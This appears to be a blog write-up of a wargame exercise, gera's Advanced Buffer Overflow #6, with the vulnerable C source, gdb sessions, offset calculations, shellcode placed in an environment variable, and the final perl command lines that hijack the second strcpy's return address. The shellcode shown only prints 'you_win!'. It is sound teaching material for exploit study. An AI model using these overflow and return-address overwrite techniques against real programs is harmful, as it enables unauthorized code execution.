Thursday, September 16, 2010

Advanced Buffer Overflow #6

/* abo6.c *
/* specially crafted to feed your brain by gera */

/* wwwhat'u talkin' about? */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}

stack

eip
ebp
pbuf -> malloc land
.
.
buf

I can overwrite buf with the first strcpy and point pbuf to an arbitrary address. Due to the while loop, main's return address and exit function overwrites are useless.

I can point pbuf to the saved returned address of the future strcpy (second). This strcpy will overwrite its own return address and point it back to an environment variable filled with shellcode.

Where is the future eip going to be and how do I get there?

$ gdb --quiet abo6
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048243: file abo6.c, line 7.
(gdb) b strcpy
Breakpoint 2 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "BBBB"';` CCCC
Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "BBBB"';
` CCCC

Breakpoint 1, main (argv=3, argc=0xbffff4c4) at abo6.c:7
7 char *pbuf=malloc(strlen(argc[2])+1);
(gdb) x/x buf
0xbffff170: 0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x0804ed43 in strcpy ()
(gdb) info frame
Stack level 0, frame at 0xbffff150:
eip = 0x804ed43 in strcpy; saved eip 0x804827a
called by frame at 0xbffff290
Arglist at 0xbffff148, args:
Locals at 0xbffff148, Previous frame's sp is 0xbffff150
Saved registers:
ebp at 0xbffff148, eip at 0xbffff14c

buf starts at 0xbffff170. The first strcpy's saved eip is at 0xbffff14c, this will be the same location for the second strcpy.

(gdb) p/x 0xbffff170 - 0xbffff14c
$1 = 0x24

The saved eip is 0x24 (36) bytes away from buf.

(gdb) p/x 0xbffff170 - 36
$3 = 0xbffff14c

Controlling second strcpy's saved return address proof of concept:

(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) b strcpy
Breakpoint 6 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "\x4c\xf1\xff\xbf"';` AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "\x4c\xf
1\xff\xbf"';` AAAA

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

When I run it out of the debugger, the addresses change (note to self, the program name length and argument name length changes offsets!). As a hack, I'll add a printf that prints the address of buf:

$ ./test `perl -e 'print "A"x268 . "BBBB"';` `perl -e 'print "CCCC"';`
buf: 0xbffff2f0
Segmentation fault

The saved eip is 36 bytes away from 0xbffff2f0

(gdb) p/x 0xbffff2f0 - 36
$3 = 0xbffff2cc

Stick shellcode into environment:

$ export ABO6=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\
xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'`
$

Get address of environment variable:

$ cat env6.c
#include <stdio.h>

/* this progname name must be same length as abo6 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO6");
printf("ABO6 is at %p\n", envaddr);
}
$ ./env6
ABO6 is at 0xbffff843

Put it all together:

$ abo6 `perl -e 'print "A"x268 . "\xcc\xf2\xff\xbf"';` `perl -e 'print "\x43\xf8\xff\xbf"';`
you_win!$

No comments:

Post a Comment